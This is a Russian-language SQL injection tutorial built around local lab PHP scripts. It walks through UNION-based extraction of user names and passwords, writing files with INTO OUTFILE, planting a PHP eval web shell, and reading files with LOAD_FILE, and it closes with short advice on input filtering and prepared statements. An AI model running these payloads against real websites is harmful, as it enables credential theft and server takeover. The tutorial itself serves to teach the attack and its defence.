SQL иньекции

SQL иньекции

FORKS Club


Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов — для запоминания.


Что же такое SQL инъекция?


Говоря простым языком — это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:


Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:

ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе


Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи — Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:

ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете


Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни :) Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.


Подготовка


Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php


Поиск SQL injection



Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка — это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!




Числовой входящий параметр


Для практики нам понадобится скрипт index1.php. Как я уже говорил выше, подставляем кавычки в ID новости.


sqlinj/index1.php?id=1'



Т.к. у нас запрос не имеет фильтрации:


$id = $_GET['id'];
$query = "SELECT * FROM news WHERE id=$id";



Скрипт поймет это как 

SELECT * FROM news WHERE id=1'



И выдаст нам ошибку:

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16


Если ошибку не выдало — могут быть следующие причины:


1.SQL инъекции здесь нет — Фильтруются кавычки, или просто стоит преобразование в (int)

2.Отключен вывод ошибок.


Если все же ошибку вывело — Ура! Мы нашли первый вид SQL инъекции — Числовой входящий параметр.




Строковой входящий параметр



Запросы будем посылать на index2.php. В данном файле, запрос имеет вид:

$user = $_GET['user'];
$query = "SELECT * FROM news WHERE user='$user'";



Тут мы делаем выборку новости по имени пользователя, и опять же — не фильтруем. 

Опять посылаем запрос с кавычкой:

sqlinj/index2.php?user=AlexanderPHP'



Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит — приступим к практике.





Приступаем к действиям


Немного теории



Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак " --" считается комментарием в языке SQL.


ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20


Всё, что идет после комментария — будет отброшено То есть запрос:

SELECT * FROM news WHERE user='AlexanderPHP' -- habrahabra


Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:


sqlinj/index2.php?user=AlexanderPHP'%20--%20habrahabr




Выучите параметр UNION. В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.





Извлекаем из этого пользу



Если параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php.


Обратимся к скрипту sqlinj/index1.php?id=1 UNION SELECT 1. Запрос к БД у нас получается вот таким: 

SELECT * FROM news WHERE id=1 UNION SELECT 1

И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей. 


Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.


Подбираем количество полей



Подбор полей делается очень просто, достаточно посылать такие запросы:

sqlinj/index1.php?id=1 UNION SELECT 1,2

Ошибка…

sqlinj/index1.php?id=1 UNION SELECT 1,2,3

Опять ошибка!

sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5

Ошибки нет! Значит количество столбцов равно 5.


GROUP BY


Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем GROUP BY


Если запрос 

sqlinj/index1.php?id=1 GROUP BY 2 

не выдал ошибок, значит кол-во полей больше 2. Пробуем:


sqlinj/index1.php?id=1 GROUP BY 8

Оп, видим ошибку, значит кол-во полей меньше 8.


Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 — ошибка, Значит кол-во полей равно 5





Определение выводимых столбцов


Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например: 


sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


image


Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.



Вывод данных



Допустим мы знаем, что еще существует таблица users в которой существуют поля idname и pass.

Нам нужно достать Информацию о пользователе с ID=1


Следовательно построим такой запрос:


sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1

Скрипт также продолжает выводить 

image



Для этого, мы подставим название полей, за место цифр 1 и 3


sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1

Получили то — что требовалось!

image





Для «строкового входящего параметра», как в скрипте index2.php нужно добавлять кавычку в начале и знак комментария в конце. Пример:

sqlinj/index2.php?user=-1' UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20




Чтение/Запись файлов


Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.


Запись файлов


На самом деле всё очень просто. Для записи файла, мы будем использовать функцию OUTFILE .

sqlinj/index2.php?user=-1' UNION SELECT 1,2,3,4,5 INTO OUTFILE '1.php' --%20

Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:

sqlinj/index2.php?user=-1' UNION SELECT 1,'<?php eval($_GET[1]) ?>',3,4,5 INTO OUTFILE '1.php' --%20



Чтение файлов


Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE, за место того поля, которое мы выбираем:


sqlinj/index2.php?user=-1' UNION SELECT 1,LOAD_FILE('1.php'),3,4,5 --%20


Таким образом, мы прочитали предыдущий записанный файл.




Способы защиты



Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте. Можно

воспользоваться фильтрами,

предоставляемыми производителями. Можно найти свои решения, например заменять все одинарные

кавычки двойными (если для SQL запроса мы пользуетесь одинарными), или наоборот. Можно разрешить только использование букв и с@баки, в случае если требуется ввести

электронный адрес. А еще в перле есть удивительная

функция 

 quote() в модуле DBI::DBD, которая успешно делает ваш запрос безопасным по отношению к SQL. Решений много, необходимо просто ими

воспользоваться. Иначе зачем тогда все это…

$id = (int) $_GET['id'];


Советую защищаться использованием PDO или prepared statements.